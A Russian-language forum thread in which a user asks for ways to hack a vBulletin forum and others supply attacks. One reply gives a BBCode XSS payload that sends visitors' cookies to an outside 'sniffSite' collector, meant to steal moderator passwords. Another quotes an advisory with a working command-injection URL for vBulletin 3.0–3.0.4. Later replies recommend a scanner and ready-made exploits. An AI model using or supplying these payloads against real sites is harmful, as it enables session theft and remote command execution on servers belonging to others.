Хочу найти дыру в Vbulletin

[eRweB]

Срочно нужно похакать такую систему форумов. Есть баги для нее?

 

[c31337]

А ты как думал???...
Конечно есть(смотря для какой версии)
Вот тебе для 3.х(и всех остальных ):
mailto:assss@wew.ew ]
sssssss[/URL]` style=`background:url(javaSCript:document.images[68].src="htt"+"p"+":"+"/"+"/"+"sniffSite/sniff.cgi?"+document.cookie)`
Вот так можно подснифать пассы модеров.

 

[UsAr]

...

 

[c31337]

На античате Запрос хреновый. Незнающий человек не разберется.

 

[Winux]

Вот появилась уязвимость:

Выполнение произвольных команд в vBulletin
Программа: vBulletin 3.0 - 3.0.4

Опасность: Высокая

Наличие эксплоита: Да

Описание:
Уязвимость в vBulletin позволяет удаленному пользователю выполнить произвольные команды на уязвимой системе.

Уязвимость существует в сценарии forumdisplay.php из-за некорректной обработки глобальных переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на системе.

Пример/Эксплоит:

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

URL производителя: http://www.vbulletin.com

Решение: Установите последнюю версию с сайта производителя.

 

[THwax]

Тоже интересно

 

[pw0ned]

Тоже интересно

Можешь прогнать вбсканом к примеру.

https://github.com/rezasp/vbscan

 

[k4rk4j0i]

какая версия форума？

 

[Blitz]

какая версия форума？

2005 год... наверно 2я или 3я версия

 

[QwEQw3RtyY]

искать только эксплоиты, только они.
ставить на хост, версию, которая интересна для хека, для ручного анализа уйдет много времени, сил, ума, и есть факт, что 90% вы ничего не найдете.
Сканеры не помогут на таком проекте, так же я уже говорил, и подчеркну еще раз, что любая cms, блог, форум, искать баги на sql xss rfi lfi бесполезно.
Полезно, заюзать сплоит, под ту или иную версию булки. Все придумано за нас.